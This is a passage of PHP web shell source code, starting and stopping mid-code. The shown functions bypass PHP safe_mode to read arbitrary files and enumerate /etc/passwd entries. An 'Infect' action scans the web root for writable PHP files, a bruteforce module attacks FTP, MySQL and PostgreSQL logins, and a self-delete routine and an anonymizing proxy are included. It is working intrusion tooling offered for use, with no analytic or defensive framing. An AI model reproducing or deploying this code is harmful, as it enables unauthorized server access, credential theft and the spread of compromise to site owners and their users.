curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\r\n\t\t\tcurl_exec($ch);\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\tini_restore("safe_mode");\r\n\t\t\tini_restore("open_basedir");\r\n\t\t\tinclude($_POST[\'p2\']);\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\r\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\r\n\t\t\t\tif ($uid)\r\n\t\t\t\t\techo join(\':\',$uid)."\\n";\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase 6:\r\n\t\t\tif(!function_exists(\'imap_open\'))break;\r\n\t\t\t$stream = imap_open($_POST[\'p2\'], "", "");\r\n\t\t\tif ($stream == FALSE)\r\n\t\t\t\tbreak;\r\n\t\t\techo imap_body($stream, 1);\r\n\t\t\timap_close($stream);\r\n\t\t\tbreak;\r\n\t}\r\n\t$temp = ob_get_clean();\r\n\thardHeader();\r\n\techo \'<h1>Safe mode bypass</h1><div class=content>\';\r\n\techo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';\r\n\tif($temp)\r\n\t\techo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie(\'bye!\');\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionInfect() {\r\n\thardHeader();\r\n\techo \'<h1>Infect</h1><div class=content>\';\r\n\tif($_POST[\'p1\'] == \'infect\') {\r\n\t\t$target=$_SERVER[\'DOCUMENT_ROOT\'];\r\n\t\t\tfunction ListFiles($dir) {\r\n\t\t\t\tif($dh = opendir($dir)) {\r\n\t\t\t\t\t$files = Array();\r\n\t\t\t\t\t$inner_files = Array();\r\n\t\t\t\t\twhile($file = readdir($dh)) {\r\n\t\t\t\t\t\tif($file != "." && $file != "..") {\r\n\t\t\t\t\t\t\tif(is_dir($dir . "/" . $file)) {\r\n\t\t\t\t\t\t\t\t$inner_files = ListFiles($dir . "/" . $file);\r\n\t\t\t\t\t\t\t\tif(is_array($inner_files)) $files = array_merge($files, $inner_files); \r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tarray_push($files, $dir . "/" . $file);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\treturn $files;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tforeach (ListFiles($target) as $key=>$file){\r\n\t\t\t\t$nFile = substr($file, -4, 4);\r\n\t\t\t\tif($nFile == ".php" ){\r\n\t\t\t\t\tif(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\r\n\t\t\t\t\t\techo "$file<br>";\r\n\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo "<font color=red size=14>$i</font>";\r\n\t\t}else{\r\n\t\t\techo "<form method=post><input type=submit value=Infect name=infet></form>";\r\n\t\t\techo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';\r\n\t\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\tif( isset($_POST[\'proto\']) ) {\r\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\r\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\r\n\t\t\t\tif(!$fp) return false;\r\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\r\n\t\t\t\t@ftp_close($fp);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$res = @mysqli_connect($ip.\':\'.($port?$port:3306), $login, $pass);\r\n\t\t\t\t@mysqli_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\r\n\t\t\t\t$res = @pg_connect($str);\r\n\t\t\t\t@pg_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$success = 0;\r\n\t\t$attempts = 0;\r\n\t\t$server = explode(":", $_POST[\'server\']);\r\n\t\tif($_POST[\'type\'] == 1) {\r\n\t\t\t$temp = @file(\'/etc/passwd\');\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = explode(":", $line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\r\n\t\t\t\t\t\t$tmp = "";\r\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\r\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\r\n\t\t\t\t\t\t++$attempts;\r\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\r\n\t\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t} elseif($_POST[\'type\'] == 2) {\r\n\t\t\t$temp = @file($_POST[\'dict\']);\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = trim($line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t}\r\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\r\n\t}\r\n\techo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\r\n\t\t.\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'\r\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\r\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\r\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\r\n\t\t.\'<input type=hidden name=ne  value="">\'\r\n\t\t.\'<span>Server:port</span></td>\'\r\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\r\n\t\t.\'<tr><td><span>Brute type</span></td>\'\r\n\t\t.\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'\r\n\t\t.\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'\r\n\t\t.\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'\r\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\r\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\r\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\r\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\r\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n/* (С) 01.2020 Jakub Vrána */\r\nfunction actionSql() {\r\n\thardHeader();\r\n\t\r\n\t$adminer_url = \'adminer.php\';\r\n\t$adminer_functions = \'functions.js\';\r\n\t$adminer_editing = \'editing.js\';\r\n\r\n\techo"<script>window.onload=function() {document.getElementById(\'ifr\').style.height=window.innerHeight+\'px\';}\r\n\t</script>";\r\n\tif (file_exists($adminer_functions)) {\r\n\t\tif (file_exists($adminer_editing)) {\r\n\t\t} else {\r\n\t\t\techo "<h1>Results</h1><div class=content><div><span>Warning: </span>" .$GLOBALS[\'home_cwd\']. "/$adminer_editing file does not exist </div></div>";\r\n\t\t}\r\n\t} else {\r\n\t\tif (file_exists($adminer_editing)) {\r\n\t\t\techo "<h1>Results</h1><div class=content><div><span>Warning: </span>" .$GLOBALS[\'home_cwd\']. "/$adminer_functions file does not exist </div></div>";\r\n\t\t} else {\r\n\t\t\techo "<h1>Results</h1><div class=content><div><span>Warning: </span>" .$GLOBALS[\'home_cwd\']. "/$adminer_functions and ".$GLOBALS[\'home_cwd\']. "/$adminer_editing  files does not exist </div></div>";\r\n\t\t}\r\n\t}\r\n\t\r\n\tif (file_exists($adminer_url)) {\r\n\t\techo "<h1>Sql browser</h1><div class=content><iframe id=\'ifr\' src=\'$adminer_url\' width=100% height=auto scrolling=auto frameborder=0 style=\'border:none !important;\'></iframe></div>";\r\n\t} else {\r\n\t\techo "<h1>Not found</h1><div class=content><div align=\'center\' ><h5>" .$GLOBALS[\'home_cwd\']. "/$adminer_url</h5> file does not exist</div></div>";\r\n\t\thardFooter();\r\n\t};\r\n}\r\n/* (С) 02.2019 Abdul Ahad */\r\nfunction actionAnonymizer() {\r\n\t$whitelistPatterns = array();\r\n\t//To enable CORS (cross-origin resource sharing) for proxied sites, set $forceCORS to true.\r\n\t$forceCORS = false;\r\n\t//Set to false to report the client machine\'s IP address to proxied sites via the HTTP `x-forwarded-for` header.\r\n\t//Setting to false may improve compatibility with some sites, but also exposes more information about end users to proxied sites.\r\n\t$anonymize = true;\r\n\t//Start/default URL that that will be proxied when Proxy is first loaded in a browser/accessed directly with no URL to proxy.\r\n\t//If empty, Proxy will show its own landing page.\r\n\t$startURL = "";\r\n\t$landingExampleURL = "https://example.net";\r\n\t\r\n\tob_start("ob_gzhandler");\r\n\tif (version_compare(PHP_VERSION, "5.4.7", "<")) {\r\n\t\tdie("Proxy requires PHP version 5.4.7 or later.");\r\n\t}\r\n\t$requiredExtensions = [\'curl\', \'mbstring\', \'xml\'];\r\n\tforeach($requiredExtensions as $requiredExtension) {\r\n\t\tif (!extension_loaded($requiredExtension)) {\r\n\t\tdie("Proxy requires PHP\'s \\"" . $requiredExtension . "\\" extension. Please install/enable it on your server and try again.");\r\n\t\t}\r\n\t}\r\n\tfunction getHostnamePattern($hostname) {\r\n\t\t$escapedHostname = str_replace(".", "\\.", $hostname);\r\n\t\treturn "@^https?://([a-z0-9-]+\\.)*" . $escapedHostname . "@i";\r\n\t}\r\n\tfunction removeKeys(&$assoc, $keys2remove) {\r\n\t\t$keys = array_keys($assoc);\r\n\t\t$map = array();\r\n\t\t$removedKeys = array();\r\n\t\tforeach ($keys as $key) {\r\n\t\t$map[strtolower($key)] = $key;\r\n\t\t}\r\n\t\tforeach ($keys2remove as $key) {\r\n\t\t$key = strtolower($key);\r\n\t\tif (isset($map[$key])) {\r\n\t\t\tunset($assoc[$map[$key]]);\r\n\t\t\t$removedKeys[] = $map[$key];\r\n\t\t}\r\n\t\t}\r\n\t\treturn $removedKeys;\r\n\t}\r\n\t\r\n\tif (!function_exists("getallheaders")) {\r\n\t\tfunction getallheaders() {\r\n\t\t$result = array();\r\n\t\tforeach($_SERVER as $key => $value) {\r\n\t\t\tif (substr($key, 0, 5) == "HTTP_") {\r\n\t\t\t$key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))));\r\n\t\t\t$result[$key] = $value;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $result;\r\n\t\t}\r\n\t}\r\n\t$usingDefaultPort =  (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 80) || (isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 443);\r\n\t$prefixPort = $usingDefaultPort ? "" : ":" . $_SERVER["SERVER_PORT"];\r\n\t$prefixHost = $_SERVER["HTTP_HOST"];\r\n\t$prefixHost = strpos($prefixHost, ":") ? implode(":", explode(":", $_SERVER["HTTP_HOST"], -1)) : $prefixHost;\r\n\tdefine("PROXY_PREFIX", "http" . (isset($_SERVER["HTTPS"]) ? "s" : "") . "://" . $prefixHost . $prefixPort . $_SERVER["SCRIPT_NAME"] . "?");\r\n\tfunction makeRequest($url) {\r\n\t\tglobal $anonymize;\r\n\t$user_agent = $_SERVER["HTTP_USER_AGENT"];\r\n\t\tif (empty($user_agent)) {\r\n\t\t$user_agent = "Mozilla/5.0 (compatible; Proxy)";\r\n\t\t}\r\n\t\t$ch = curl_init();\r\n\t\tcurl_setopt($ch, CURLOPT_USERAGENT, $user_agent);\r\n\t\t$browserRequestHeaders = getallheaders();\r\n\t\t$removedHeaders = removeKeys($browserRequestHeaders, array(\r\n\t\t"Accept-Encoding", //Throw away the browser\'s Accept-Encoding header if any and let cURL make the request using gzip if possible.\r\n\t\t"Content-Length",\r\n\t\t"Host",\r\n\t\t"Origin"\r\n\t\t));  \r\n\t\tarray_change_key_case($removedHeaders, CASE_LOWER);\r\n\t\tcurl_setopt($ch, CURLOPT_ENCODING, "");\r\n\t\t$curlRequestHeaders = array();\r\n\t\tforeach ($browserRequestHeaders as $name => $value) {\r\n\t\t$curlRequestHeaders[] = $name . ": " . $value;\r\n\t\t}\r\n\t\tif (!$anonymize) {\r\n\t\t$curlRequestHeaders[] = "X-Forwarded-For: " . $_SERVER["REMOTE_ADDR"];\r\n\t\t}\r\n\t\tif (array_key_exists(\'origin\', $removedHeaders)) {\r\n\t\t$urlParts = parse_url($url);\r\n\t\t$port = $urlParts[\'port\'];\r\n\t\t$curlRequestHeaders[] = "Origin: " . $urlParts[\'scheme\'] . "://" . $urlParts[\'host\'] . (empty($port) ? "" : ":" . $port);\r\n\t\t};\r\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, $curlRequestHeaders);\r\n\t\tswitch ($_SERVER["REQUEST_METHOD"]) {\r\n\t\tcase "POST":\r\n\t\t\tcurl_setopt($ch, CURLOPT_POST, true);\r\n\t\t\t$postData = Array();\r\n\t\t\tparse_str(file_get_contents("php://input"), $postData);\r\n\t\t\tif (isset($postData["ProxyFormAction"])) {\r\n\t\t\tunset($postData["ProxyFormAction"]);\r\n\t\t\t}\r\n\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));\r\n\t\tbreak;\r\n\t\tcase "PUT":\r\n\t\t\tcurl_setopt($ch, CURLOPT_PUT, true);\r\n\t\t\tcurl_setopt($ch, CURLOPT_INFILE, fopen("php://input", "r"));\r\n\t\tbreak;\r\n\t\t}\r\n\t\tcurl_setopt($ch, CURLOPT_HEADER, true);\r\n\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\r\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t$response = curl_exec($ch);\r\n\t\t$responseInfo = curl_getinfo($ch);\r\n\t\t$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\r\n\t\tcurl_close($ch);\r\n\t\t$responseHeaders = substr($response, 0, $headerSize);\r\n\t\t$responseBody = substr($response, $headerSize);\r\n\t\treturn array("headers" => $responseHeaders, "body" => $responseBody, "responseInfo" => $responseInfo);\r\n\t}\r\n\tfunction rel2abs($rel, $base) {\r\n\t\tif (empty($rel)) $rel = ".";\r\n\t\tif (parse_url($rel, PHP_URL_SCHEME) != "" || strpos($rel, "//") === 0) return $rel; //Return if already an absolute URL\r\n\t\tif ($rel[0] == "#" || $rel[0] == "?") return $base.$rel; //Queries and anchors\r\n\t\textract(parse_url($base)); //Parse base URL and convert to local variables: $scheme, $host, $path\r\n\t\t$path = isset($path) ? preg_replace("#/[^/]*$#", "", $path) : "/"; //Remove non-directory element from path\r\n\t\tif ($rel[0] == "/") $path = ""; //Destroy path if relative url points to root\r\n\t\t$port = isset($port) && $port != 80 ? ":" . $port : "";\r\n\t\t$auth = "";\r\n\t\tif (isset($user)) {\r\n\t\t$auth = $user;\r\n\t\tif (isset($pass)) {\r\n\t\t\t$auth .= ":" . $pass;\r\n\t\t}\r\n\t\t$auth .= "@";\r\n\t\t}\r\n\t\t$abs = "$auth$host$port$path/$rel"; //Dirty absolute URL\r\n\t\tfor ($n = 1; $n > 0; $abs = preg_replace(array("#(/\\.?/)#", "#/(?!\\.\\.)[^/]+/\\.\\./#"), "/", $abs, -1, $n)) {} //Replace \'//\' or \'/./\' or \'/foo/../\' with \'/\'\r\n\t\treturn $scheme . "://" . $abs; //Absolute URL is ready.\r\n\t}\r\n\tfunction proxifyCSS($css, $baseURL) {\r\n\t\t$sourceLines = explode("\\n", $css);\r\n\t\t$normalizedLines = [];\r\n\t\tforeach ($sourceLines as $line) {\r\n\t\tif (preg_match("/@import\\s+url/i", $line)) {\r\n\t\t\t$normalizedLines[] = $line;\r\n\t\t} else {\r\n\t\t\t$normalizedLines[] = preg_replace_callback(\r\n\t\t\t"/(@import\\s+)([^;\\s]+)([\\s;])/i",\r\n\t\t\tfunction($matches) use ($baseURL) {\r\n\t\t\t\treturn $matches[1] . "url(" . $matches[2] . ")" . $matches[3];\r\n\t\t\t},\r\n\t\t\t$line);\r\n\t\t}\r\n\t\t}\r\n\t\t$normalizedCSS = implode("\\n", $normalizedLines);\r\n\t\treturn preg_replace_callback(\r\n\t\t"/url\\((.*?)\\)/i",\r\n\t\tfunction($matches) use ($baseURL) {\r\n\t\t\t$url = $matches[1];\r\n\t\t\tif (strpos($url, "\'") === 0) {\r\n\t\t\t\t$url = trim($url, "\'");\r\n\t\t\t}\r\n\t\t\tif (strpos($url, "\\"") === 0) {\r\n\t\t\t\t$url = trim($url, "\\"");\r\n\t\t\t}\r\n\t\t\tif (stripos($url, "data:") === 0) return "url(" . $url . ")"; //The URL isn\'t an HTTP URL but is actual binary data. Don\'t proxify it.\r\n\t\t\treturn "url(" . PROXY_PREFIX . rel2abs($url, $baseURL) . ")";\r\n\t\t},\r\n\t\t$normalizedCSS);\r\n\t}\r\n\tfunction proxifySrcset($srcset, $baseURL) {\r\n\t\t$sources = array_map("trim", explode(",", $srcset)); //Split all contents by comma and trim each value\r\n\t\t$proxifiedSources = array_map(function($source) use ($baseURL) {\r\n\t\t$components = array_map("trim", str_split($source, strrpos($source, " "))); //Split by last space and trim\r\n\t\t$components[0] = PROXY_PREFIX . rel2abs(ltrim($components[0], "/"), $baseURL); //First component of the split source string should be an image URL; proxify it\r\n\t\treturn implode($components, " "); //Recombine the components into a single source\r\n\t\t}, $sources);\r\n\t\t$proxifiedSrcset = implode(", ", $proxifiedSources); //Recombine the sources into a single "srcset"\r\n\t\treturn $proxifiedSrcset;\r\n\t}\r\n\tif (isset($_POST["ProxyFormAction"])) {\r\n\t\t$url = $_POST["ProxyFormAction"];\r\n\t\tunset($_POST["ProxyFormAction"]);\r\n\t} else {\r\n\t\t$queryParams = Array();\r\n\t\tparse_str($_SERVER["QUERY_STRING"], $queryParams);\r\n\t\tif (isset($queryParams["ProxyFormAction"])) {\r\n\t\t$formAction = $queryParams["ProxyFormAction"];\r\n\t\tunset($queryParams["ProxyFormAction"]);\r\n\t\t$url = $formAction . "?" . http_build_query($queryParams);\r\n\t\t} else {\r\n\t\t$url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);\r\n\t\t}\r\n\t}\r\n\tif (empty($url)) {\r\n\t\tif (empty($startURL)) {\r\n\t\t\thardHeader();\r\n\t\t\techo "<h1>Anonymizer</h1><div class=content>Proxy can be directly invoked like this: <a href=\\"" . PROXY_PREFIX . $landingExampleURL . "\\" target=\'_blank\'>" . PROXY_PREFIX . $landingExampleURL . "</a><br /><br />Or, you can simply enter a URL below:<br /><br /><form onsubmit=\\"if (document.getElementById(\'site\').value) { \r\n\t\t\t\twindow.open(\'" . PROXY_PREFIX . "\' + document.getElementById(\'site\').value); return false; } else { \r\n\t\t\t\twindow.open(\'" . PROXY_PREFIX . $landingExampleURL . "\'); return false; }\\" autocomplete=\\"off\\"><input id=\\"site\\" type=\\"text\\" size=\\"50\\" autofocus /><input type=\\"submit\\" value=\\"GO!\\" /></form></div>";\r\n\t\t\thardFooter();\r\n\t\t\tdie();\r\n\t\t} else {\r\n\t\t\t$url = $startURL;\r\n\t\t}\r\n\t} else if (strpos($url, ":/") !== strpos($url, "://")) {\r\n\t\t//Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.\r\n\t\t$pos = strpos($url, ":/");\r\n\t\t$url = substr_replace($url, "://", $pos, strlen(":/"));\r\n\t}\r\n\t$scheme = parse_url($url, PHP_URL_SCHEME);\r\n\tif (empty($scheme)) {\r\n\t\t//Assume that any supplied URLs starting with // are HTTP URLs.\r\n\t\tif (strpos($url, "//") === 0) {\r\n\t\t$url = "http:" . $url;\r\n\t\t}\r\n\t} else if (!preg_match("/^https?$/i", $scheme)) {\r\n\t\tdie(\'Error: Detected a "\' . $scheme . \'" URL. Proxy exclusively supports http[s] URLs.\');\r\n\t}\r\n\t$urlIsValid = count($whitelistPatterns) === 0;\r\n\tforeach ($whitelistPatterns as $pattern) {\r\n\t\tif (preg_match($pattern, $url)) {\r\n\t\t$urlIsValid = true;\r\n\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif (!$urlIsValid) {\r\n\t\tdie("Error: The requested URL was disallowed by the server adFc7strator.");\r\n\t}\r\n\t\r\n\t$response = makeRequest($url);\r\n\t$rawResponseHeaders = $response["headers"];\r\n\t$responseBody = $response["body"];\r\n\t$responseInfo = $response["responseInfo"];\r\n\t$responseURL = $responseInfo["url"];\r\n\tif ($responseURL !== $url) {\r\n\t\theader("Location: " . PROXY_PREFIX . $responseURL, true);\r\n\t\texit(0);\r\n\t}\r\n\t$header_blacklist_pattern = "/^Content-Length|^Transfer-Encoding|^Content-Encoding.*gzip/i";\r\n\t$responseHeaderBlocks = array_filter(explode("\\r\\n\\r\\n", $rawResponseHeaders));\r\n\t$lastHeaderBlock = end($responseHeaderBlocks);\r\n\t$headerLines = explode("\\r\\n", $lastHeaderBlock);\r\n\tforeach ($headerLines as $header) {\r\n\t\t$header = trim($header);\r\n\t\tif (!preg_match($header_blacklist_pattern, $header)) {\r\n\t\theader($header, false);\r\n\t\t}\r\n\t}\r\n\theader("X-Robots-Tag: noindex, nofollow", true);\r\n\t\r\n\tif ($forceCORS) {\r\n\t\theader("Access-Control-Allow-Origin: *", true);\r\n\t\theader("Access-Control-Allow-Credentials: true", true);\r\n\t\r\n\t\tif ($_SERVER["REQUEST_METHOD"] == "OPTIONS") {\r\n\t\tif (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_METHOD"])) {\r\n\t\t\theader("Access-Control-Allow-Methods: GET, POST, OPTIONS", true);\r\n\t\t}\r\n\t\tif (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_HEADERS"])) {\r\n\t\t\theader("Access-Control-Allow-Headers: {$_SERVER[\'HTTP_ACCESS_CONTROL_REQUEST_HEADERS\']}", true);\r\n\t\t}\r\n\t\texit(0);\r\n\t\t}\r\n\t\r\n\t}\r\n\t\r\n\t$contentType = "";\r\n\tif (isset($responseInfo["content_type"])) $contentType = $responseInfo["content_type"];\r\n\t\r\n\tif (stripos($contentType, "text/html") !== false) {\r\n\t\r\n\t\t$detectedEncoding = mb_detect_encoding($responseBody, "UTF-8, ISO-8859-1");\r\n\t\tif ($detectedEncoding) {\r\n\t\t$responseBody = mb_convert_encoding($responseBody, "HTML-ENTITIES", $detectedEncoding);\r\n\t\t}\r\n\t\t$doc = new DomDocument();\r\n\t\t@$doc->loadHTML($responseBody);\r\n\t\t$xpath = new DOMXPath($doc);\r\n\t\r\n\t\t//Rewrite forms so that their actions point back to the proxy.\r\n\t\tforeach($xpath->query("//form") as $form) {\r\n\t\t$method = $form->getAttribute("method");\r\n\t\t$action = $form->getAttribute("action");\r\n\t\t$action = empty($action) ? $url : rel2abs($action, $url);\r\n\t\t$form->setAttribute("action", rtrim(PROXY_PREFIX, "?"));\r\n\t\t$actionInput = $doc->createDocumentFragment();\r\n\t\t$actionInput->appendXML(\'<input type="hidden" name="ProxyFormAction" value="\' . htmlspecialchars($action) . \'" />\');\r\n\t\t$form->appendChild($actionInput);\r\n\t\t}\r\n\t\tforeach ($xpath->query("//meta[@http-equiv]") as $element) {\r\n\t\tif (strcasecmp($element->getAttribute("http-equiv"), "refresh") === 0) {\r\n\t\t\t$content = $element->getAttribute("content");\r\n\t\t\tif (!empty($content)) {\r\n\t\t\t$splitContent = preg_split("/=/", $content);\r\n\t\t\tif (isset($splitContent[1])) {\r\n\t\t\t\t$element->setAttribute("content", $splitContent[0] . "=" . PROXY_PREFIX . rel2abs($splitContent[1], $url));\r\n\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t\tforeach($xpath->query("//style") as $style) {\r\n\t\t$style->nodeValue = proxifyCSS($style->nodeValue, $url);\r\n\t\t}\r\n\t\tforeach ($xpath->query("//*[@style]") as $element) {\r\n\t\t$element->setAttribute("style", proxifyCSS($element->getAttribute("style"), $url));\r\n\t\t}\r\n\t\tforeach ($xpath->query("//img[@srcset]") as $element) {\r\n\t\t$element->setAttribute("srcset", proxifySrcset($element->getAttribute("srcset"), $url));\r\n\t\t}\r\n\t\t$proxifyAttributes = array("href", "src");\r\n\t\tforeach($proxifyAttributes as $attrName) {\r\n\t\tforeach($xpath->query("//*[@" . $attrName . "]") as $element) { //For every element with the given attribute...\r\n\t\t\t$attrContent = $element->getAttribute($attrName);\r\n\t\t\tif ($attrName == "href" && preg_match("/^(about|javascript|magnet|mailto):|#/i", $attrContent)) continue;\r\n\t\t\tif ($attrName == "src" && preg_match("/^(data):/i", $attrContent)) continue;\r\n\t\t\t$attrContent = rel2abs($attrContent, $url);\r\n\t\t\t$attrContent = PROXY_PREFIX . $attrContent;\r\n\t\t\t$element->setAttribute($attrName, $attrContent);\r\n\t\t}\r\n\t\t}\r\n\t\t$head = $xpath->query("//head")->item(0);\r\n\t\t$body = $xpath->query("//body")->item(0);\r\n\t\t$prependElem = $head != NULL ? $head : $body;\r\n\t\tif ($prependElem != NULL) {\r\n\t\r\n\t\t$scriptElem = $doc->createElement("script",\r\n\t\t\t\'(function() {\r\n\t\r\n\t\t\tif (window.XMLHttpRequest) {\r\n\t\r\n\t\t\t\tfunction parseURI(url) {\r\n\t\t\t\tvar m = String(url).replace(/^\\s+|\\s+$/g, "").match(/^([^:\\/?#]+:)?(\\/\\/(?:[^:@]*(?::[^:@]*)?@)?(([^:\\/?#]*)(?::(\\d*))?))?([^?#]*)(\\?[^#]*)?(#[\\s\\S]*)?/);\r\n\t\t\t\t// authority = "//" + user + ":" + pass "@" + hostname + ":" port\r\n\t\t\t\treturn (m ? {\r\n\t\t\t\t\thref : m[0] || "",\r\n\t\t\t\t\tprotocol : m[1] || "",\r\n\t\t\t\t\tauthority: m[2] || "",\r\n\t\t\t\t\thost : m[3] || "",\r\n\t\t\t\t\thostname : m[4] || "",\r\n\t\t\t\t\tport : m[5] || 